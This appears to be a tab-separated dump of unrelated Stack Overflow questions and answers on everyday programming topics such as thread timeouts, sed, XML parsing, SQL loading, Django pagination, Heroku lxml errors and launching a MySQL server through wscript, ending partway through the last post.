7204651	0	 <p>There are two approaches:</p> <p>1. Encapsulated timeout</p> <p>The thread reading the data from network or serial port can measure time elapsed from its time of start and wait for the data for no more than the remaining time. Network communication APIs usually provide means to specify a timeout for the operation. Hence by doing simple DateTime arithmetic you can encapsulate timeout management within your worker thread.</p> <p>2. External timeout</p> <p>Use another thread (or do it in the main thread if that's feasible) to wait for the worker thread to finish within a certain time limit, and if not, abort it. Like this:</p> <pre><code>// start the worker thread ... // give it no more than 5 seconds to execute if (!workerThread.Join(new TimeSpan(0, 0, 5))) { workerThread.Abort(); } </code></pre>
20849388	0	 <p>You can use <code>rev(dd)</code>; <code>rev.dendrogram</code> simply returns the dendrogram with reversed nodes:</p> <pre><code>hc &lt;- hclust(dist(USArrests), "ave") dd &lt;- as.dendrogram(hc) plot(dd) </code></pre> <p><img src="https://i.stack.imgur.com/3GN1Q.png" alt="dendrogram"></p> <pre><code>plot(rev(dd)) </code></pre> <p><img src="https://i.stack.imgur.com/6LNto.png" alt="reversed dendrogram"></p>
20675352	0	 <p>An efficient way to print nth line from a file (<strong>especially suited for large files</strong>):</p> <pre><code>sed '2q;d' file </code></pre> <p>This sed command quits just after printing 2nd line rather than reading file till the end.</p> <p>To store this in a variable:</p> <pre><code>line=$(sed '2q;d' file) </code></pre> <p>OR using a variable for line #:</p> <pre><code>n=2 line=$(sed $n'q;d' file) </code></pre> <p><strong>UPDATE:</strong> </p> <p><strong>Java Code:</strong></p> <pre><code>try { ProcessBuilder pb = new ProcessBuilder("/bin/bash", "/full/path/of/myScript.sh" ); Process pr = pb.start(); InputStreamReader isr = new InputStreamReader(pr.getInputStream()); BufferedReader br = new BufferedReader(isr); String line; while((line = br.readLine()) != null) System.out.println(line); int exitVal = pr.waitFor(); System.out.println("exitVal: " + exitVal); } catch(Exception e) { e.printStackTrace(); } </code></pre> <p><strong>Shell script:</strong></p> <pre><code>f=$(dirname $0)/edit.txt read -r i &lt; "$f" echo "session is: $i" echo -n "file path is: " sed '2q;d' "$f" </code></pre>
15088988	1	jython lambda function <p>May I know why the following code does not print out <code>[1,2,3,1,2,3]</code>. Instead, it throws an exception. Could you show me how to make it work.</p> <pre><code>x = [1,2,3] print apply(lambda x: x * 2, (x)) </code></pre> <p>if I try the following, it works:</p> <pre><code>test1 = lambda x: x * 2 print test1(x) </code></pre>
9501164	0	 <p>I use the second one with slight modification,</p> <pre><code>UIImageView *shadowView = [[UIImageView alloc] initWithFrame:CGRectMake(100, 150, 800, 600)]; shadowView.image = [UIImage imageWithData:[NSData dataWithContentsOfFile:[[NSBundle mainBundle] pathForResource:fileName ofType:extension] ]; </code></pre> <p>because imageNamed: caches image and cause memory leak.</p>
29322199	0	 <p>I think there is no chance. You need to add them one by one. <code>frame.add(...); frame.add(...);</code><br> I don't clearly understand what you want as result, but using <code>GridLayout(3, 3)</code> with only 2 panels is the same as use <code>GridLayout(0, 2)</code>.<br> P.S. Check out GridBagLayout - it can be more useful for you.</p>
2977468	0	 <p>Avoid <a href="http://en.wikipedia.org/wiki/Eclipse_%28software%29" rel="nofollow noreferrer">Eclipse</a> for C/C++ development for now on <a href="http://en.wikipedia.org/wiki/Mac_OS_X_Snow_Leopard" rel="nofollow noreferrer">Mac&nbsp;OS&nbsp;X&nbsp;v10.6</a> (Snow&nbsp;Leopard). There are serious problems which make debugging problematic or nearly impossible on it currently due to <a href="http://en.wikipedia.org/wiki/GNU_Debugger" rel="nofollow noreferrer">GDB</a> incompatibility problems and the like. See: <em><a href="http://stackoverflow.com/questions/1270285/trouble-debugging-c-using-eclipse-galileo-on-mac">Trouble debugging C++ using Eclipse Galileo on Mac</a></em>.</p>
23433032	0	How to Parse XML Data <p>I am having an XML,which is like</p> <pre><code>&lt;polygon&gt; &lt;coordinates&gt; &lt;coordinate order="1" long="75.9375" lat="32.91648534731439"/&gt; &lt;coordinate order="2" long="76.640625" lat="23.241346102386135"/&gt; &lt;coordinate order="3" long="88.59375" lat="31.052933985705163"/&gt; &lt;/coordinates&gt; &lt;/polygon&gt; </code></pre> <p>I want to get the long and lat values of every coordinates and assign to string. I was trying like :</p> <pre><code>DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document document = db.parse( new InputSource(new StringReader(s))); System.out.println(document.getChildNodes()); NodeList nl = document.getElementsByTagName("coordinates"); for (int i = 0; i &lt; nl.getLength(); i++) { System.out.println("name is : "+nl.item(i).getNodeName()); System.out.println("name is : "+nl.item(i).getNodeValue()); } </code></pre> <p>The String reader is the XML String I pass,but I am not able to get the data.</p>
38501236	0	 <p>You have to complete the statement with the semicolon (<code>;</code>) at the end</p> <pre><code>List&lt;string&gt; icons = new List&lt;string&gt;() { "!","!","N","N",",",",","k","k", "b","b","v","v","w","w","z","z" }; </code></pre>
22357252	0	 <p>A widget is usually a small application with limited functionality. It usually, not always, will have one specific purpose. An app is much broader and is short for application which can encompass any number of things.</p>
24376379	0	 <p>I'm not sure about your approach or why there are performance issues but here is my solution to similar issue.</p> <p>The full solution can be found <a href="https://github.com/steinborge/ProxyTypeHelper/wiki" rel="nofollow">https://github.com/steinborge/ProxyTypeHelper/wiki</a></p> <p>What I wanted to achieve was the ability to create a 'generic' view model which can then be assigned to a datatemplate. The data template is just a user control. In the case where you have a lot of simple data maintenance screens would save a lot of repetitive code. </p> <p>But had a couple of issues. Datatemplates don't work well with in XAML with generics and if you have a lot of data templates you are creating a lot of XAML - especially if you wanted to use it in separate views. In your case you mention up to 90 views - this would be a lot of XAML.</p> <p>Solution is to store the templates in a lookup and use a content control and DataTemplateSelector populate depending upon the DataContext. So first need to register the data template/views:</p> <pre><code> manager.RegisterDataTemplate(typeof(GenericViewModel&lt;CarType, WPFEventInter.ViewModel.CarTypeViewModel&gt;), typeof(WPFEventInter.UserControls.CarTypesView)); manager.RegisterDataTemplate(typeof(GenericViewModel&lt;Colour, WPFEventInter.ViewModel.ColourViewModel&gt;), typeof(WPFEventInter.UserControls.ColourView)); </code></pre> <p>RegisterDataTemplate just adds the datatemplate to a dictionary:</p> <pre><code> public void RegisterDataTemplate(Type viewModelType, Type dataTemplateType, string Tag="") { var template = BuildDataTemplate(viewModelType, dataTemplateType) ; templates.Add(viewModelType.ToString() + Tag, template); } private DataTemplate BuildDataTemplate(Type viewModelType, Type viewType) { var template = new DataTemplate() { DataType = viewModelType, VisualTree = new FrameworkElementFactory(viewType) }; return template; } </code></pre> <p>Now create a view with a ContentPresenter control .This will display the view depending upon the view's Datacontext. </p> <p>The DataTemplateSelector looks like the following. This returns the appropriate view depending upon the datacontext:</p> <pre><code>public class ContentControlGenericTemplateSelector : DataTemplateSelector { public override DataTemplate SelectTemplate(object item, DependencyObject container) { DataTemplate retVal = null; try { retVal = Core.WPF.Infrastructure.DataTemplateManager.templates[item.GetType().ToString()]; } catch //empty catch to prevent design time errors.. { } return retVal; } </code></pre>
38230493	0	 <p>If there is a field that can be used which can indicate which table that file's data is intended for, you can do something like this using multiple <code>INFILE</code> satements. Let's say the first field is that indicator and it will not be loaded (define it as a FILLER so sqlldr will ignore it):</p> <pre><code>... INTO TABLE table1 WHEN (01) = 'TBL1' fields terminated by ',' optionally enclosed by '"' TRAILING NULLCOLS ( rec_skip filler POSITION(1), Col1 "TRIM(:Col1)", Col2 "TRIM(:Col2)" ) INTO TABLE table2 WHEN (01) = 'TBL2' fields terminated by ',' optionally enclosed by '"' TRAILING NULLCOLS ( rec_skip filler POSITION(1), Colx "TRIM(:Colx)", Coly "TRIM(:Coly)" ) INTO TABLE table3 WHEN (01) = 'TBL3' fields terminated by ',' optionally enclosed by '"' TRAILING NULLCOLS ( rec_skip filler POSITION(1), Colp "TRIM(:Colp)", Colq "TRIM(:Colq)" ) </code></pre> <p>So logically, each INTO table WHEN section handles each file. Not that flexible though and arguably harder to maintain. For ease of maintenance you may just want to have a control file for each file? If all files and tables are the same layout you could also load them all into the same staging table (with the indicator) for ease of loading, then split them out programatically into the separate tables afterwards. Pros of that method are faster and easier loading and more control over the splitting into the separate table part of the process. Just some other ideas. I have done each method, depends on the requirements and what you are able to change.</p>
15489326	0	 <p>It makes no sense to read the entire file all at once and then convert from text to binary data; it's more convenient to write, but you run out of memory faster. I would read the text in chunks and convert as you go. The converted data, in binary format instead of text, will likely take up less space than the original source text anyway.</p>
37095495	0	 <p>For clarifying your situation, you can run the command in your mysql console. If succeeds, then you can try it in your code.</p> <p>First try,</p> <pre><code>LOAD DATA LOCAL INFILE '/tmp/foo.txt' INTO TABLE tmp; </code></pre> <p>Second try,</p> <pre><code>LOAD DATA LOCAL INFILE '/tmp/foo.txt' INTO TABLE tmp COLUMNS TERMINATED BY '\t'; </code></pre> <p>Third try,</p> <pre><code>LOAD DATA LOCAL INFILE '/tmp/foo.txt' INTO TABLE tmp FIELDS TERMINATED BY '\t' LINES TERMINATED BY '\n'; </code></pre> <p>Forth try,</p> <pre><code>LOAD DATA LOCAL INFILE '/tmp/mydata.txt' INTO TABLE tmp COLUMNS TERMINATED BY '\t' ## This should be your delimiter OPTIONALLY ENCLOSED BY '"'; ## ...and if text is enclosed, specify here </code></pre> <p>From those, which runs perfectly, you can implement your code.</p> <p>For more, You can go through <a href="http://dev.mysql.com/doc/refman/5.7/en/loading-tables.html" rel="nofollow">MySQL manual</a></p> <h2>Resource Link:</h2> <p><a href="https://dev.mysql.com/doc/refman/5.6/en/load-data.html" rel="nofollow">LOAD DATA INFILE Syntax</a></p>
1554352	0	 <p>Try this:</p> <pre><code>$("div").filter(function() { return $(this).children("p.special").length == 0; }) </code></pre>
31876646	0	 <p>The code is going into loop because tabellaMenu table in the cell has the delegate and datasource set to self. So, it keeps on calling table datasource methods on self and create new cells and enters into loop. </p> <p>You can either create a separate object(subclass of NSObject) and define the table delegate and datasource methods in that and set it to tabellaMenu's delegate and datasource.</p> <p>Or you can create a subclass of UITableViewCell and create a table view in that programatically. Define the table's datasource and delegate methods in that. So every table view in the cell will refer to its own cell for datasource and delegate. In addition, you get -(void)prepareForReuse(if the cell is reusable) to reload the table in the cell everytime the main table reloads.</p>
4238212	0	 <p>This is a bug in <code>mimetypes</code>, triggered by bad data in the registry. (<code>рєфшю/AMR</code> is not at all a valid MIME media type.)</p> <p><code>ctype</code> is a registry key name returned by <code>_winreg.EnumKey</code>, which <code>mimetypes</code> is expecting to be a Unicode string, but it isn't. Unlike <code>_winreg.QueryValueEx</code>, <code>EnumKey</code> returns a byte string (direct from the ANSI version of the Windows API; <code>_winreg</code> in Python 2 doesn't use the Unicode interfaces even though it returns Unicode strings, so it'll never read non-ANSI characters correctly).</p> <p>So the attempt to <code>.encode</code> it fails with a Unicode​<strong>Decode</strong>​Error trying to get a Unicode string before encoding it back to ASCII!</p> <pre><code>try: ctype = ctype.encode(default_encoding) # omit in 3.x! except UnicodeEncodeError: pass </code></pre> <p>These lines in <code>mimetypes</code> should simply be removed.</p> <p>ETA: <a href="http://bugs.python.org/issue10490">added to bug tracker</a>.</p>
21805276	0	How to set specfic time in countdown timer using Jquery <p>I am using a jQuery plugin <code>flipoclock.js</code> to put the countdown timer in my webpage.Currently the code works fine for current time,Now i want to customize into my specific time for example i am developing an online quiz application so i should keep timer for 30 minutes.Anyone can help me? ,following script as below</p> <pre><code>// enter code here var clock; $(document).ready(function () { clock = $('.clock').FlipClock({ clockFace: 'TwelveHourClock' }); </code></pre>
37911879	0	 <p>short answer: Yes you can use <a href="http://api.jquery.com/wrap/" rel="nofollow">wrap()</a> by default the <code>$('.gap')</code> selector it look for <code>.gap</code> class in your HTML, if it found it, it wrap it into <code>li</code> element.</p> <p>demo:</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>$('.gap').wrap('&lt;li&gt;&lt;/li&gt;')</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"&gt;&lt;/script&gt; &lt;span class="gap"&gt;...&lt;/span&gt;</code></pre> </div> </div> </p> <p><strong>Note</strong></p> <p>dont use <a href="http://api.jquery.com/append/" rel="nofollow">append()</a> result will be</p> <pre><code>&lt;span class="gap"&gt;...&lt;li&gt;&lt;/li&gt;&lt;/span&gt; </code></pre> <p><strong>Edit:</strong></p> <p>anyway <code>&lt;span class="gap"&gt;...&lt;li&gt;&lt;/li&gt;&lt;/span&gt;</code> or <code>&lt;li&gt;&lt;span class="gap"&gt;...&lt;/span&gt;&lt;/li&gt;</code> both of them are not a valid HTML <code>li</code> elements should be inside <code>ul</code> element please check these link, to undertand more about both of them append and wrap</p>
20687990	1	Paginator in python django crashes on dict <p>I have 2 types of gathered data from database:</p> <p>One is <code>[&lt;NaseljenoMesto: NaseljenoMesto object&gt;, &lt;NaseljenoMesto: NaseljenoMesto object&gt;]</code></p> <p>And another is: <code>[{'naseljenomesto_drzava__naziv': u'Srbija', 'sifraMesta': u'ZR', 'nazivMesta': u'Zrenjanin', 'id': 3}, {'naseljenomesto _drzava__naziv': u'Srbija', 'sifraMesta': u'BG', 'nazivMesta': u'Beograd', 'id': 1}]</code></p> <p>First is QuerySet type and another is ValuesQuerySet.</p> <p>Now i have Paginator: <code>paginator = Paginator(filteredData, rowsPerPage)</code></p> <p>In first case paginator works but in second crashes. How to correct this?</p> <h2>EDIT</h2> <pre><code>Internal Server Error: /TestProjekat/main/getFormData/ Traceback (most recent call last): File "C:\Python27\lib\site-packages\django\core\handlers\base.py", line 115, in get_response response = callback(request, *callback_args, **callback_kwargs) File "C:\Users\Milan\Desktop\DA_LI_RADI\Test projekat\st_forms\views.py", line 238, in getFormData serializedData = serializers.serialize("json", data) File "C:\Python27\lib\site-packages\django\core\serializers\__init__.py", line 99, in serialize s.serialize(queryset, **options) File "C:\Python27\lib\site-packages\django\core\serializers\base.py", line 46, in serialize concrete_model = obj._meta.concrete_model AttributeError: 'dict' object has no attribute '_meta' </code></pre> <h2>EDIT 2</h2> <pre><code>paginator = Paginator(filteredData, rowsPerPage) try: data = paginator.page(page) except PageNotAnInteger: data = paginator.page(1) except EmptyPage: data = paginator.page(paginator.num_pages) serializedData = serializers.serialize("json", data) </code></pre> <h2>NEW ERROR</h2> <pre><code>Traceback (most recent call last): File "C:\Python27\lib\site-packages\django\core\handlers\base.py", line 115, in get_response response = callback(request, *callback_args, **callback_kwargs) File "C:\Users\Milan\Desktop\DA_LI_RADI\Test projekat\st_forms\views.py", line 238, in getFormData serializedData = json.dumps({'data': data}) File "C:\Python27\lib\json\__init__.py", line 243, in dumps return _default_encoder.encode(obj) File "C:\Python27\lib\json\encoder.py", line 207, in encode chunks = self.iterencode(o, _one_shot=True) File "C:\Python27\lib\json\encoder.py", line 270, in iterencode return _iterencode(o, 0) File "C:\Python27\lib\json\encoder.py", line 184, in default raise TypeError(repr(o) + " is not JSON serializable") TypeError: &lt;Page 1 of 1&gt; is not JSON serializable </code></pre>
3165742	1	Having PyQt app controlling all. How use reactor? <p>I've a django application, served via Twisted, which also serves ohter services (three sockets, mainly).</p> <p>I need to have it working under windows, and I decide to write a PyQt4 application which acts quite like <strong>Apache Service Monitor</strong> for windows.</p> <p>I was not able to connect twisted reactor to pyqt application reactor, so any hint on this will be welcome too.</p> <p>Now I've this kind of architecture:</p> <ul> <li><strong>QMainWindow</strong> which, in __ init __() has the log.addObserver(callBack) function, and the widget.</li> <li><strong>Twisted initializer</strong> class which extends <strong>QtCore.QThread</strong> and works in a different thread.</li> <li><strong>the django app</strong> which runs over Twisted.</li> </ul> <p>I need to understand how to run the reactor, becouse calling reactor.start() from <strong>QtCore.QThread</strong> works not at all, giving me:</p> <pre><code>exceptions.ValueError: signal only works in main thread </code></pre> <p>Also I'm asking your opinion on the design of applications, does it makes sense for you?</p>
1334140	0	PHP parsing textarea for domain names entered (separated by spaces, commas, newlines) <p>For my users I need to present a screen where they can input multiple domain names in a textarea. The users can put the domain names on different lines, or separate them by spaces or commas (maybe even semicolons - I dont know!)</p> <p>I need to parse and identify the individual domain names with extension (which will be .com, anything else can be ignored).</p> <p>User input can be as:</p> <p>asdf.com</p> <p>qwer.com</p> <p>AND/OR</p> <p>wqer.com, gwew.com</p> <p>AND/OR</p> <p>ertert.com gdfgdf.com</p> <p>No one will input a 3 level domain like www.abczone.com, but if they do I'm only interested in extracting the abczone.com part. (I can have a separate regex to verify/extract that from each).</p>
586149	0	 <p>You could allow every subdomain in the first place and then check if the subdomain is valid. For example:</p> <pre><code>RewriteEngine on RewriteCond %{HTTP_HOST} ^[^.]+\.example\.com$ RewriteRule !^index\.php$ index.php [L] </code></pre> <p>Inside the <code>index.php</code> you can than extract the subdomain using:</p> <pre><code>if (preg_match('/^([^.]+)\.example\.com$/', $_SERVER['HTTP_HOST'], $match)) { var_dump($match[1]); } </code></pre> <p>But all this requires that your webserver accepts every subdomain name.</p>
31537921	0	 <p>HTML 5 has a pattern attribute for the input element, which Paypal implements:</p> <p><code>pattern="(0[1-9]|[12][0-9]|3[01])/(([0][1-9])|([1][0-2]))/((1|2)[0-9]{3})"</code></p> <p>You can find more info on that on the web, for instance this spec on <a href="https://developer.mozilla.org/de/docs/Web/HTML/Element/Input#attr-pattern" rel="nofollow">Mozilla Developer Network</a>.</p>
37125614	0	 <p>Why not do something like:</p> <pre><code>np.sort(m)[:,-N:] </code></pre>
28860754	0	Unable to Share Folder in Network <p>I am attempting to create a folder share on a Windows Server 2012 R2 two-node cluster Hyper-V volume in the network and I'm getting these error messages:</p> <p>An error occurred while trying to share FolderA. The resources must be online on the same node for this operation. The shared resource was not created at this time.</p> <p>Can someone please help me resolve this?</p> <p>Thank you!</p>
31002128	0	 <p>Some notes:</p> <ol> <li><p>To read/send data over network you need functions such as <a href="http://beej.us/guide/bgnet/output/html/singlepage/bgnet.html#sendall" rel="nofollow">this</a> and <a href="https://stackoverflow.com/questions/27527395/how-to-get-the-exact-message-from-recv-in-winsock-programming/27527668#27527668">this</a>. Because send and receive not always send/receive how much you told them to.</p></li> <li><p>You seem to use uninitialized variable <code>new_fd</code> which doesn't look nice.</p></li> <li><p>Finally after you have ensured all the data has been received that was sent(using the approach I mentioned in (1)), comparing strings is not issue - you can use just <code>strcmp</code>, assuming strings are null terminated.</p></li> </ol>
5633187	0	 <p>for that..first check your environment variables, then see the class file names, if you do not write .class extention than it may be works...and its batter to include applet file..like in header part of the html code</p>
36755403	0	 <p>I'd give this a shot http://ajax.googleapis.com/ajax/libs/angularjs/1.3.14/angular.min.js"> </p> <pre><code>&lt;script&gt; var app = angular.module('myApp', []); app.controller('customersCtrl', function($scope, $http) { $http.jsonp("http://localhost/json/customer.php?callback=JSON_CALLBACK") .success(function (response) { $scope.simo = response.data; console.log($scope.simo) }); }); app.directive('display',function(){ return { restrict: 'E', scope: { simo: '=' }, template: '&lt;li ng-repeat="x in simo"&gt;{{ x.Name + ', ' + x.Country }}&lt;/li&gt;' }; }); &lt;/script&gt; </code></pre> <p>Not sure if your intent was to pass the entire response object to the directive, but response.data is the location of what you're likely expecting back from the ajax call.</p> <p>Aside from that I would make sure that your object structure is correct. Or if you're returning an array that you set that flag in the $http call.</p>
3468167	0	 <p>Date::Manip requires Perl 5.10 to function, see the <a href="http://cpansearch.perl.org/src/SBECK/Date-Manip-6.11/META.yml" rel="nofollow noreferrer">META.yml</a>:</p> <pre><code>requires: ... perl: 5.010 </code></pre> <p>The <a href="http://search.cpan.org/CPAN/authors/id/S/SB/SBECK/Date-Manip-5.56.tar.gz" rel="nofollow noreferrer">older version (5.56)</a> instead only requires perl 5.001 to function and should therefore be safe for you to install.</p> <p>In other words, if you want that latest version you'll have to update your system's perl to at least 5.10. CentOS comes with an old 5.8.8 version, unfortunately.</p>
8225120	0	 <p>Use the following method...</p> <pre><code>- (NSArray *)subarrayWithRange:(NSRange)range </code></pre> <p>As per Apple docs... </p> <blockquote> <p>Returns a new array containing the receiving array’s elements that fall within the limits specified by a given range.</p> </blockquote>
31497868	0	 <p>If you don't mind deleting every occurrence of <code>2</code> in the list, you can use list comprehension:</p> <pre><code>dictionary["00"] = [i for i in dictionary["00"] if i != 2] </code></pre> <p>This will create a new list, and will avoid altering the other values, as it appears all your <code>dictionary</code> values reference the same list.</p> <p>EDIT: Yep your dictionary values reference the same list</p> <p>you could use dictionary and list comprehension to create your <code>dictionary</code></p> <pre><code>dictionary = {str(x):[i for i in range(10)] for x in range(100)} </code></pre>
22015237	0	Javacard beginner - questions <p>first of all i want to let you know that i am new regarding javacards. I am in the research phase of writing a javacard applet and i have some questions which suprisingly are not so easy to answer through google-search. I want to create an android application which triggers a javacard application via NFC. So far i established a connection to the card with IsoDep.</p> <ol> <li><p>Lets say i have a cap-file. How do I put/install it on an actual javacard? (Do i need a card reader/writer with PC/SC? Which ones do you suggest)</p></li> <li><p>Is it possible to put/install the cap-file using my smartphone (via android)?</p></li> <li><p>Is there any way (through APDU-commands) to get information about what is on the card? Specifically: applets on the card, memory available.</p></li> </ol> <p>Thx very much in advance for the answers.</p>
32215851	1	Problems getting python-docx working with a Python script being executed by a Rails app hosted on Heroku <p>TLDR: My python script which my rails app on heroku fires fails at "from docx import Document" due to some unicode/lxml dependency thing.</p> <pre><code> 2015-08-25T22:09:35.561165+00:00 app[web.1]: Traceback (most recent call last): 2015-08-25T22:09:35.561172+00:00 app[web.1]: File "individual_insights_survey_report.py", line 4, in &lt;module&gt; 2015-08-25T22:09:35.561181+00:00 app[web.1]: from docx import Document 2015-08-25T22:09:35.561222+00:00 app[web.1]: File "/app/.heroku/python/lib/python2.7/site-packages/docx/__init__.py", line 3, in &lt;module&gt; 2015-08-25T22:09:35.561254+00:00 app[web.1]: from docx.api import Document # noqa 2015-08-25T22:09:35.561277+00:00 app[web.1]: File "/app/.heroku/python/lib/python2.7/site-packages/docx/api.py", line 14, in &lt;module&gt; 2015-08-25T22:09:35.561312+00:00 app[web.1]: from docx.package import Package 2015-08-25T22:09:35.561336+00:00 app[web.1]: File "/app/.heroku/python/lib/python2.7/site-packages/docx/package.py", line 11, in &lt;module&gt; 2015-08-25T22:09:35.561369+00:00 app[web.1]: from docx.opc.package import OpcPackage 2015-08-25T22:09:35.561391+00:00 app[web.1]: File "/app/.heroku/python/lib/python2.7/site-packages/docx/opc/package.py", line 12, in &lt;module&gt; 2015-08-25T22:09:35.561421+00:00 app[web.1]: from .part import PartFactory 2015-08-25T22:09:35.561443+00:00 app[web.1]: File "/app/.heroku/python/lib/python2.7/site-packages/docx/opc/part.py", line 12, in &lt;module&gt; 2015-08-25T22:09:35.561473+00:00 app[web.1]: from .oxml import serialize_part_xml 2015-08-25T22:09:35.561495+00:00 app[web.1]: File "/app/.heroku/python/lib/python2.7/site-packages/docx/opc/oxml.py", line 12, in &lt;module&gt; 2015-08-25T22:09:35.561533+00:00 app[web.1]: from lxml import etree 2015-08-25T22:09:35.561628+00:00 app[web.1]: ImportError: /app/.heroku/python/lib/python2.7/site-packages/lxml/etree.so: undefined symbol: PyUnicodeUCS2_DecodeLatin1 </code></pre> <p>I thought this might be a versioning thing, but can't seem to find versions that will work as it does locally. This is probably a Python + Heroku thing as this is my first time trying to any sort of Python on Heroku.</p> <p>Specifically I found this <a href="https://mailman-mail5.webfaction.com/pipermail/lxml/2012-September/006572.html" rel="nofollow">mailgroup post</a> which mentions:</p> <blockquote> <p>lxml can support either UCS4 or UCS2 as the internal Unicode representation, but the switch is made at compile-time.</p> <p>Make sure that the Python that compiled etree.so and the Python that uses it are the same. Same version (at least minor as in 2.7.x, maybe micro as in 2.7.3), same architecture, and in this case same Unicode settings (UCS4 vs UCS2.)</p> <p>The easiest way to do this is to re-install lxml from the source tarball. Do you still have this issue?"</p> </blockquote> <p>So I tried to figure out what version of Python was used (failed) and then tried specifying different versions at runtime.txt to try and make it work.</p> <blockquote> <p><strong>Caveat:</strong> here's a lot of pieces in the chain and I'm not very familiar with most of them -- so if I need to provide more information to give context -- please let me know!</p> </blockquote> <p><strong>Full Context:</strong> My company has a Ruby on Rails Webapp that's basically a self service platform for generating data reports for our Client Delivery team.</p> <p>The Rails App, via a click of a button, should fire a Python script which opens up an Excel Spreadsheet (openpyxl) and does runs some data analysis on it and then outputs a report in a Microsoft Word (python-docx) document that is downloaded in a zip file.</p> <p>This is definitely a suboptimal/overly complicated way to do this, but I inherited the Webapp and am just trying to work within its structure for now.</p> <p>I have the Python script working fine when run locally and stand alone (no rails/ruby/heroku) with:</p> <pre><code>Python ver: 2.7.5 openpyxl==2.2.5 python-docx==0.8.5 </code></pre> <p>I've tried the heroku app with: Python versions: 2.7.3, 2.7.5, 2.7.9, 2.7.10 with the error above. This is with requirements.txt looking like:</p> <pre><code>python-docx==0.8.5 openpyxl==2.2.5 lxml==3.4.4 </code></pre> <p>Added lxml to be safe.</p> <p>When I use Python versions: 3.2.5, 3.3.3</p> <p>Where I get this error: </p> <pre><code> 2015-08-25T23:38:59.793177+00:00 app[web.1]: ImportError: No module named site </code></pre> <p>Any help on how to resolve this would be great! Do I need to re-install Python or a module? Is that even doable on Heroku? Am I missing a dependency? A configuration thing? Help :) </p>
37779414	0	 <p>I would prefer to first exclude (or replace them by <code>NA</code>) all such values (i.e. <code>n==1</code> &amp; <code>out==1</code>) and then plot it. This is many time useful if one want to show zeros in the plot. For e.g.</p> <blockquote> <p>Something like your plot</p> </blockquote> <pre><code>test.data = data.frame ( sample (1:10,100,replace=TRUE), sample (1:10, 100, replace=TRUE) ) names (test.data) &lt;- c("out","n") ggplot(test.data,aes(log(out),log(n)))+geom_point(aes(color="red")) + xlim (0, 2.5) + ylim (0, 2.5) # just to get same range </code></pre> <p><a href="https://i.stack.imgur.com/GTkR4.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/GTkR4.png" alt="enter image description here"></a></p> <blockquote> <p>(Probably) something you want </p> </blockquote> <pre><code> dd = apply (test.data,1,function(row) all (row!=1)) # find when neither out nor n is 1 df = test.data[dd,] # take only ggplot(df,aes(log(out),log(n)))+geom_point(aes(color="red")) + xlim (0, 2.5) + ylim (0, 2.5) # just to get same range </code></pre> <p><a href="https://i.stack.imgur.com/rRkoa.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/rRkoa.png" alt="enter image description here"></a></p>
8768744	0	 <p>You can compare two date with following way ..</p> <p>==> extend in built NSDate Class (.h as well as .m files)</p> <pre><code>#import &lt;Foundation/Foundation.h&gt; struct DateInformation { int day; int month; int year; int weekday; int minute; int hour; int second; }; typedef struct DateInformation DateInformation; @interface NSDate (Extra) - (DateInformation) dateInformation; @end </code></pre> <p>implementation class:</p> <pre><code>#import "NSDate+Extra.h" @implementation NSDate (Extra) - (DateInformation) dateInformation { DateInformation info; NSCalendar *gregorian = [[NSCalendar alloc] initWithCalendarIdentifier:NSGregorianCalendar]; NSDateComponents *comp = [gregorian components:(NSMonthCalendarUnit | NSMinuteCalendarUnit | NSYearCalendarUnit |NSDayCalendarUnit | NSWeekdayCalendarUnit | NSHourCalendarUnit | NSSecondCalendarUnit) fromDate:self]; info.day = [comp day]; info.month = [comp month]; info.year = [comp year]; info.hour = [comp hour]; info.minute = [comp minute]; info.second = [comp second]; info.weekday = [comp weekday]; [gregorian release]; return info; } @end </code></pre> <p>from the class where you want to compare to dates </p> <p>do following for both dates</p> <pre><code> NSDate *date=[NSDate date]; DateInformation info=[date dateInformation]; NSLog(@"%@",info); NSDate *date1=[NSDate dateWithTimeIntervalSinceNow:1242141]; DateInformation info=[date1 dateInformation]; NSLog(@"%@",info); </code></pre> <p>implement one more method in extended date class for comparing all the parameter of date which are integer..</p> <p>hope it can help you</p> <p>regards, neil</p>
37541256	0	How to stop wscript.exe from java to stop a mysql server? <p>I am trying to stop wscript that was started from a java application using Runtime.getRuntime().exec("") method.I started a mysql server using wscript.But wscript is not closing when I close my java application,because of this when I restart my application every time 80% of memory is filled with wscript.exe making my pc slow. So my question is how to safely close wscript.exe after its use is over.If this question was asked before someone please point me in right direction</p> <pre><code> public void startMySQLServer() { try { Process process = Runtime.getRuntime().exec("wscript C:\\\\\\\\Users\\\\\\\\Shersha\\\\\\\\Documents\\\\\\\\NetBeansProjects\\\\\\\\Berries\\\\\\\\batch\\\\\\\\mysql_start.vbs"); System.out.println("waiting to start mysql server"); process.waitFor(); System.out.println("mysql server started sucessfully"); } catch (InterruptedException e) { e.printStackTrace(); } catch (IOException ex) { Logger.getLogger(DataBaseManager.class.getName()).log(Level.SEVERE, null, ex); } } </code></pre> <p><a href="https://i.stack.imgur.com/TMyd8.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/TMyd8.jpg" alt="enter image description here"></a> <a href="https://i.stack.imgur.com/WSqt3.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/WSqt3.jpg" alt="enter image description here"></a></p> <p>EDITED</p> <pre><code>public void stopMySQLServer() { try { Process process = Runtime.getRuntime().exec("wscript C:\\\\\\\\Users\\\\\\\\Shersha\\\\\\\\Documents\\\\\\\\NetBeansProjects\\\\\\\\Berries\\\\\\\\batch\\\\\\\\mysql_stop.vbs"); System.out.println("waiting to stop mysql server"); process.waitFor(); process.destroy(); System.out.println("process exit value" + process.exitValue()); System.out.println("mysql server stopped sucessfully"); } catch (InterruptedException e) { e.printStackTrace(); } catch (IOException ex) { Logger.getLogger(DataBaseManager.class.getName()).log(Level.SEVERE, null, ex); } } </code></pre> <p>EDITED 2 mysql_start.vbs</p> <pre><code>Set WshShell = WScript.CreateObject("WScript.Shell") If WScript.Arguments.length = 0 Then Set ObjShell = CreateObject("Shell.Application") ObjShell.ShellExecute "wscript.exe", """" &amp; _ WScript.ScriptFullName &amp; """" &amp;_ " RunAsAdministrator", , "runas", 1 Wscript.Quit End if 